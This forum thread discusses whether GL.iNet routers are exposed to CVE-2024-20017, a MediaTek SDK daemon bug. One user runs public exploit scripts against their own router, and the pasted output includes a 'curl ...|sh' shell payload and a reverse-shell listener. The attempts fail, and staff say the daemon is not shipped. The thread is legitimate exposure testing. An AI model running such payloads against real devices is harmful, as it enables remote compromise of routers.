Hi everyone,
Icouldn't find any posts regarding this (at least searching for CVE-2024-20017 says no results), so I just wanted to check if you are aware of it, and have an overview which models are affected.
I'm pretty sure quite a few routers have some of the affected MediaTek Chipsets.
That video is clickbait, and the links are factually incorrect.
Openwrt 19.07 and 21.02 are not affected as they do not use Mediatek SDK drivers.
This misreporting by people who cannot be bothered to simply search the https://git.openwrt.org/?p=openwrt/openwrt.git;a=summary for the Mediatek SDK drivers, as actual Openwrt does not use Proprietary drivers.
So every link you have given has misinformation which damages the reputation of Openwrt simply because no-one can be bothered to contact the Openwrt developers for a statement.
But that's not surprising that Sonicwall wants to post incorrect information regarding a competitor.
I don't agree.
MediaTek SDKs are often used from embedded developers.
Same for GL.iNet - all official firmwares are OpenWrt compiled against the MediaTek SDK.
So the question isn't if OpenWrt is affected - but if GL devices might be.
I mean, ok, @hecatae has a point that the video is clickbaity with the openwrt in the thumbnail - basically for no reason and not it's openwrt's fault when vendors are using it with the vendor sdk instead. Point taken.
But I'll be more specific then with my previous post and last sentence:
This is the gl-inet forum. I'm writing specifically here, as I want to know if any gl-inet routers are affected (and I am especially interested in the GL-MT3000 because I have it).
AND when I was researching about the latest firmware, I saw this: Firmware Versions - GL.iNet
Saying that quite a few of the recent and active Models are using MTK.
AND this GL.iNet download center
Downloads of Native OpenWrt 24 Firmware
Due to certain performance and compatibility issues with the open-source drivers for the model, firmware version 4.6.0 will utilize the MTK SDK to ensure a better user experience. If these issues are resolved in the future, we will revert to the Native OpenWrt version with the open-source driver. For customers preferring the open-source driver, we will provide a synchronized Native OpenWrt version labeled 4.x.x-opxx, based on the OpenWrt main branch with kernel version 6.6.x. The MTK SDK will be used for their 4.x version. We will continue to address bugs in the open-source version and will make it the main line if it eventually outperforms the closed-source driver.
So yes I get it, if I switch to the native one I will avoid that problem entirely, but for now I'm still testing the device with the stock fw.
So my question is, are those routers in the list above (firmware-versions link) affected by this bug/CVE?
GL-iNet MT7981 stock firmware is built on the following SDK
Now six months ago, Mediatek posted this vulnerability in a security bulletin:
https://corp.mediatek.com/product-security-bulletin/March-2024
Device OEMs have been notified of all the issues and the corresponding security patches for at least two months before publication
GL-iNet would be aware of this issue, so seeing as the Security Bulletin was published 2024-03-04, you'd expect the fixes to be in GL.iNet download center under fixed some known vulnerabilities, released 30th March 2024 for the MT3000 and GL.iNet download center for the MT6000.
The MT2500 is unaffected as it does not have WiFi but it also got the same fixes as the MT3000 GL.iNet download center
The X3000 got GL.iNet download center
The XE3000 got GL.iNet download center
All state at the bottom of the update fixed known vulnerabilities.
I'll leave an official staff member to confirm but GL-iNet do not need to confirm what known vulnerabilities were fixed, just that they are fixed.
If you look at firmware 4.5.0 for the MT3000, GL-iNet went out of their way to list the vulnerabilities that were patched.
Maybe we should just wait until @bruce can talk to the devs to get the information for us 
Jup i'd agree, i can't even be sure if the mtk versions of gl-inet are vulnerable or not, the guy on the vid gives me the assumption that wapdd is optional how he talks about it, but maybe it is not compiled on these images?
Or wether it is compiled with ASLR with hardening.
To many questions to be sure 
Thanks for your finding.
I am packing for my next trip in two days, so I have my X3000 nearby in my bag ...
I fired it up, and was very curious if the exploits will work. Without deeper investigation, just read the whole article and the source:
└─$ /bin/python3.12 /home/lupus/work/glinet/cve-2024-20017/1_RIP_Hijack.py
[*] sent payload to target 192.168.5.1:3517 (287 bytes)
and it goes further:
└─$ ./2_x86_64_partial_relro_got.py 192.168.5.1
[+] Sending payload to write command string to GOT @ 0x497240
[+] Opening connection to 192.168.5.1 on port 3517: Done
[+] Writing chunked data starting at 0x49723c...
[*] CHUNK
[*] CHUNK
[*] CHUNK
[*] CHUNK
[*] CHUNK
[*] CHUNK
[*] Closed connection to 192.168.5.1 port 3517
[+] Sending payload to corrupt read() GOT entry
[+] Sending TCP payload to trigger corrupted read() entry and start ROP
[ERROR] Could not connect to 192.168.5.1 on port 3517
[...]
And the last one:
└─$ ./3_x86_64_full_relro.py 192.168.5.1
[*] Writing payload to .data segment @ 0x479000
[*] Using shell payload: 'curl 127.0.0.1:1337|sh;\x00'
[+] Sending payload to hijack execution and start ROP chain
[+] Ready to handle incoming reverse shell...
=ERROR=: Timed out waiting for staging connection, exploit likely failed
Even not the latest FW:
Current Firmware
Version4.0
Firmware Type0408release4
Compile Time2024-04-19 16:03:01(UTC+08:00)
Same picture at newest stable FW.
I copied the wrong terminal ... but --lhost 192.168.5.127 gave the same results as output.
Tested on 5GHz and 2,4GHz network.
Meanwhile I did waste some time by fighting a bit with the pwn library bc it seems to be too stupid to run on Windoze out of the box. After some patching I got it run, but it yielded nothing. Doesn't connect.
Later I decided to check which ports are actually open. (I guess I should've started with that one 
...)
Nmap didnt show anything interesting, and then I checked via ssh instead:
The port in question (3517) isn't even open.
Maybe it's indeed like @xize11 assumes, and it's some optional service. (I'm surprised anyway, why should some wifi config service even be reachable from the network itself, that'd be odd. Or it gets only launched at certain events ?)
netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN 3924/smbd
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 4533/nginx.conf -g
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN 4300/uhttpd
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN 12223/dnsmasq
tcp 0 0 192.168.8.1:53 0.0.0.0:* LISTEN 12223/dnsmasq
tcp 0 0 192.168.9.1:53 0.0.0.0:* LISTEN 12223/dnsmasq
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 2671/dropbear
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 4533/nginx.conf -g
tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN 3924/smbd
tcp 0 0 :::139 :::* LISTEN 3924/smbd
tcp 0 0 :::80 :::* LISTEN 4533/nginx.conf -g
tcp 0 0 ::1:53 :::* LISTEN 12223/dnsmasq
tcp 0 0 :::22 :::* LISTEN 2671/dropbear
tcp 0 0 :::443 :::* LISTEN 4533/nginx.conf -g
tcp 0 0 :::445 :::* LISTEN 3924/smbd
udp 0 0 192.168.8.255:137 0.0.0.0:* 3925/nmbd
udp 0 0 192.168.8.1:137 0.0.0.0:* 3925/nmbd
udp 0 0 0.0.0.0:137 0.0.0.0:* 3925/nmbd
udp 0 0 192.168.8.255:138 0.0.0.0:* 3925/nmbd
udp 0 0 192.168.8.1:138 0.0.0.0:* 3925/nmbd
udp 0 0 0.0.0.0:138 0.0.0.0:* 3925/nmbd
udp 0 0 0.0.0.0:5353 0.0.0.0:* 4451/avahi-daemon:
udp 0 0 127.0.0.1:53 0.0.0.0:* 12223/dnsmasq
udp 0 0 192.168.8.1:53 0.0.0.0:* 12223/dnsmasq
udp 0 0 192.168.9.1:53 0.0.0.0:* 12223/dnsmasq
udp 0 0 0.0.0.0:67 0.0.0.0:* 12223/dnsmasq
udp 0 0 :::5353 :::* 4451/avahi-daemon:
udp 0 0 ::1:53 :::* 12223/dnsmasq
So then I guess, we're probably safe.
I am not sure what that exactly means / which SDK that is exactly. It looks to me like just openwrt (with the open source driver I guess).
But then I don't know why they write on the fw site, they're using the proprietary driver (that is allegedly more stable, and which might be the one with the issue).
Went out of their way, one could say that indeed 
Anyway, thanks for the discussion, then let's wait then what GL-iNet says to this ...
Likely it is some kind of manager deamon for wireless or translation api from low level driver to actually configurable stuff.
but from what i think how this guy talks i assume its optional, or there is a replacement choice.
Unfortunately only devs know this better since they maintain their make menuconfig with what is default with the mtk sdk
I own the Netgear WAX206 from the fourth exploit or bug, I am not able to test the exploit as it has always run Openwrt since out if the box, it was tftp flashed with nmrpflash at first boot.
I've done this external with nmap. First step, on reflex It says 'closed', but I haven't checked if there is some 'wake up magic' in the scripts, so I tested it anyway.
conn = remote(target.host, target.port, typ='udp') is the important information.
└─$ nmap -sU -p 3517 192.168.5.1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-27 07:45 CEST
Nmap scan report for console.gl-inet.com (192.168.5.1)
Host is up (0.0024s latency).
PORT STATE SERVICE
3517/udp closed 802-11-iapp
MAC Address: 94:83:C4:AA:BB:CC (GL Technologies (Hong Kong) Limited)
Nmap done: 1 IP address (1 host up) scanned in 0.30 seconds
Sidenote:
I am using a Debian console based WSL2 instance on windows for playing around with python. Much easier than prepare/build/maintain the framework in system. And I could take a snapshot, move to another host or throw it away as I need.
This program is for mesh, coordating different APs.
This program is not installed in our stock firmware. Nor is it in OpenWrt so it is not talked about.
Appreciate that for trying an real attack.
This topic was automatically closed 180 days after the last reply. New replies are no longer allowed.